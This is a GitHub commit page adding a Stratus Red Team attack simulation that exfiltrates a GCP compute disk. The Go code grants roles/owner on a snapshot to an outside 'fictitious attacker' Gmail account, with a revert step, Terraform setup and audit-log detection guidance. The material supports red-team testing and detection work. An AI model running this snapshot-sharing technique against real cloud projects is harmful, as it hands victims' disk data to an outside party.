-
Notifications
You must be signed in to change notification settings - Fork 210
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
GCP: Exfiltrates a Compute Disk by sharing a snapshot (#439)
* feat(GCP): Exfiltrates a Compute Disk by sharing a snapshot This is a slight variation of gcp.exfiltration.share-compute-disk where the snapshot is shared directly, instead of sharing the disk from which the attacker can take a snapshot. * fixup! feat(GCP): Exfiltrates a Compute Disk by sharing a snapshot * fixup! fixup! feat(GCP): Exfiltrates a Compute Disk by sharing a snapshot * terraform fmt * Avoid duplicating attack technique ID --------- Co-authored-by: Christophe Tafani-Dereeper <christophe.tafanidereeper@datadoghq.com>
- Loading branch information
1 parent
6413bb3
commit 36a30a8
Showing
7 changed files
with
313 additions
and
1 deletion.
There are no files selected for viewing
91 changes: 91 additions & 0 deletions
91
docs/attack-techniques/GCP/gcp.exfiltration.share-compute-snapshot.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
--- | ||
title: Exfiltrate Compute Disk by sharing a snapshot | ||
--- | ||
|
||
# Exfiltrate Compute Disk by sharing a snapshot | ||
|
||
|
||
<span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span> | ||
|
||
Platform: GCP | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Exfiltration | ||
|
||
## Description | ||
|
||
|
||
Exfiltrates a Compute Disk by sharing a snapshot with a fictitious attacker account. | ||
|
||
<span style="font-variant: small-caps;">Warm-up</span>: | ||
|
||
- Create a Compute Disk and a Snapshot | ||
|
||
<span style="font-variant: small-caps;">Detonation</span>: | ||
|
||
- Set the IAM policy of the snapshot so that the attacker account has permissions to access it | ||
|
||
!!! note | ||
|
||
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to stratusredteam@gmail.com by default. | ||
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override | ||
this behavior by setting the environment variable <code>STRATUS_RED_TEAM_ATTACKER_EMAIL</code>, for instance: | ||
|
||
```bash | ||
export STRATUS_RED_TEAM_ATTACKER_EMAIL="your-own-gmail-account@gmail.com" | ||
stratus detonate gcp.exfiltration.share-compute-snapshot | ||
``` | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate gcp.exfiltration.share-compute-snapshot | ||
``` | ||
## Detection | ||
|
||
|
||
You can detect when someone changes the IAM policy of a Compute Snapshot, using the GCP Admin Activity audit logs event <code>v1.compute.snapshots.setIamPolicy</code>. Here's a sample event, shortened for clarity: | ||
|
||
```json hl_lines="18 20 25"" | ||
{ | ||
"protoPayload": { | ||
"@type": "type.googleapis.com/google.cloud.audit.AuditLog", | ||
"authenticationInfo": { | ||
"principalEmail": "user-sharing-the-snapshot@domain.tld", | ||
"principalSubject": "user:user-sharing-the-snapshot@domain.tld" | ||
}, | ||
"requestMetadata": { | ||
"callerIp": "34.33.32.31", | ||
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." | ||
}, | ||
"resourceName": "projects/victim-project/global/snapshots/stratus-red-team-victim-snapshot", | ||
"request": { | ||
"policy": { | ||
"version": "3", | ||
"bindings": [ | ||
{ | ||
"role": "roles/owner", | ||
"members": [ | ||
"user:attacker@gmail.com" | ||
] | ||
} | ||
] | ||
}, | ||
"@type": "type.googleapis.com/compute.snapshots.setIamPolicy" | ||
} | ||
} | ||
} | ||
``` | ||
|
||
Based on these events, detection strategies may include: | ||
|
||
- Alerting when the IAM policy of a Compute Snapshot is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: | ||
|
||
```sql | ||
protoPayload.methodName="v1.compute.snapshots.setIamPolicy" | ||
``` | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
172 changes: 172 additions & 0 deletions
172
v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,172 @@ | ||
package gcp | ||
|
||
import ( | ||
compute "cloud.google.com/go/compute/apiv1" | ||
"context" | ||
computepb "google.golang.org/genproto/googleapis/cloud/compute/v1" | ||
"log" | ||
|
||
_ "embed" | ||
"fmt" | ||
"github.com/datadog/stratus-red-team/v2/internal/providers" | ||
gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
) | ||
|
||
//go:embed main.tf | ||
var tf []byte | ||
|
||
const codeBlock = "```" | ||
const AttackTechniqueId = "gcp.exfiltration.share-compute-snapshot" | ||
|
||
func init() { | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: AttackTechniqueId, | ||
FriendlyName: "Exfiltrate Compute Disk by sharing a snapshot", | ||
Description: ` | ||
Exfiltrates a Compute Disk by sharing a snapshot with a fictitious attacker account. | ||
Warm-up: | ||
- Create a Compute Disk and a Snapshot | ||
Detonation: | ||
- Set the IAM policy of the snapshot so that the attacker account has permissions to access it | ||
!!! note | ||
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. | ||
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override | ||
this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance: | ||
` + codeBlock + `bash | ||
export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" | ||
stratus detonate ` + AttackTechniqueId + ` | ||
` + codeBlock + ` | ||
`, | ||
Detection: ` | ||
You can detect when someone changes the IAM policy of a Compute Snapshot, using the GCP Admin Activity audit logs event <code>v1.compute.snapshots.setIamPolicy</code>. Here's a sample event, shortened for clarity: | ||
` + codeBlock + `json hl_lines="18 20 25"" | ||
{ | ||
"protoPayload": { | ||
"@type": "type.googleapis.com/google.cloud.audit.AuditLog", | ||
"authenticationInfo": { | ||
"principalEmail": "user-sharing-the-snapshot@domain.tld", | ||
"principalSubject": "user:user-sharing-the-snapshot@domain.tld" | ||
}, | ||
"requestMetadata": { | ||
"callerIp": "34.33.32.31", | ||
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." | ||
}, | ||
"resourceName": "projects/victim-project/global/snapshots/stratus-red-team-victim-snapshot", | ||
"request": { | ||
"policy": { | ||
"version": "3", | ||
"bindings": [ | ||
{ | ||
"role": "roles/owner", | ||
"members": [ | ||
"user:attacker@gmail.com" | ||
] | ||
} | ||
] | ||
}, | ||
"@type": "type.googleapis.com/compute.snapshots.setIamPolicy" | ||
} | ||
} | ||
} | ||
` + codeBlock + ` | ||
Based on these events, detection strategies may include: | ||
- Alerting when the IAM policy of a Compute Snapshot is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: | ||
` + codeBlock + `sql | ||
protoPayload.methodName="v1.compute.snapshots.setIamPolicy" | ||
` + codeBlock + ` | ||
`, | ||
Platform: stratus.GCP, | ||
IsIdempotent: true, | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration}, | ||
Detonate: detonate, | ||
Revert: revert, | ||
PrerequisitesTerraformCode: tf, | ||
}) | ||
} | ||
|
||
func detonate(params map[string]string, providers stratus.CloudProviders) error { | ||
gcp := providers.GCP() | ||
snapshotName := params["snapshot_name"] | ||
attackerPrincipal := gcp_utils.GetAttackerPrincipal() | ||
|
||
log.Println("Exfiltrating " + snapshotName + " by sharing it with a fictitious attacker") | ||
if err := shareSnapshot(context.Background(), gcp, snapshotName, attackerPrincipal); err != nil { | ||
return fmt.Errorf("failed to share snapshot: %w", err) | ||
} | ||
log.Println("Successfully shared snapshot with a fictitious attacker account " + attackerPrincipal) | ||
return nil | ||
} | ||
|
||
func revert(params map[string]string, providers stratus.CloudProviders) error { | ||
gcp := providers.GCP() | ||
snapshotName := params["snapshot_name"] | ||
|
||
log.Println("Unsharing " + snapshotName) | ||
if err := unshareSnapshot(context.Background(), gcp, snapshotName); err != nil { | ||
return fmt.Errorf("unable to unshare snapshot: %w", err) | ||
} | ||
log.Println("Successfully unshared the snapshot - it is now private again") | ||
return nil | ||
} | ||
|
||
func shareSnapshot(ctx context.Context, gcp *providers.GCPProvider, snapshotName string, targetPrincipal string) error { | ||
snapshotClient, err := compute.NewSnapshotsRESTClient(ctx, gcp.Options()) | ||
if err != nil { | ||
return fmt.Errorf("unable to create compute client: %w", err) | ||
} | ||
|
||
roleName := "roles/owner" | ||
|
||
_, err = snapshotClient.SetIamPolicy(ctx, &computepb.SetIamPolicySnapshotRequest{ | ||
Resource: snapshotName, | ||
Project: gcp.GetProjectId(), | ||
GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ | ||
Policy: &computepb.Policy{ | ||
Bindings: []*computepb.Binding{ | ||
{ | ||
Members: []string{targetPrincipal}, | ||
Role: &roleName, | ||
}, | ||
}, | ||
}, | ||
}, | ||
}) | ||
if err != nil { | ||
return fmt.Errorf("unable to set iam policy: %w", err) | ||
} | ||
return nil | ||
} | ||
|
||
func unshareSnapshot(ctx context.Context, gcp *providers.GCPProvider, snapshotName string) error { | ||
snapshotClient, err := compute.NewSnapshotsRESTClient(ctx, gcp.Options()) | ||
if err != nil { | ||
return fmt.Errorf("unable to create compute client: %w", err) | ||
} | ||
|
||
_, err = snapshotClient.SetIamPolicy(ctx, &computepb.SetIamPolicySnapshotRequest{ | ||
Resource: snapshotName, | ||
Project: gcp.GetProjectId(), | ||
GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ | ||
Policy: &computepb.Policy{ | ||
Bindings: []*computepb.Binding{}, | ||
}, | ||
}, | ||
}) | ||
if err != nil { | ||
return fmt.Errorf("unable to set iam policy: %w", err) | ||
} | ||
return nil | ||
} |
38 changes: 38 additions & 0 deletions
38
v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot/main.tf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
terraform { | ||
required_providers { | ||
google = { | ||
source = "hashicorp/google" | ||
version = "~> 4.28.0" | ||
} | ||
} | ||
} | ||
|
||
locals { | ||
disk-name = "stratus-red-team-victim-disk" | ||
snapshot-name = "stratus-red-team-victim-snapshot" | ||
zone = "us-central1-a" | ||
} | ||
|
||
resource "google_compute_disk" "this" { | ||
name = local.disk-name | ||
size = 10 # minimum size is 10GB | ||
zone = local.zone | ||
} | ||
|
||
resource "google_compute_snapshot" "this" { | ||
name = local.snapshot-name | ||
source_disk = google_compute_disk.this.id | ||
zone = local.zone | ||
} | ||
|
||
output "snapshot_name" { | ||
value = google_compute_snapshot.this.name | ||
} | ||
|
||
output "zone" { | ||
value = google_compute_disk.this.zone | ||
} | ||
|
||
output "display" { | ||
value = format("Compute snapshot %s is ready", google_compute_snapshot.this.name) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters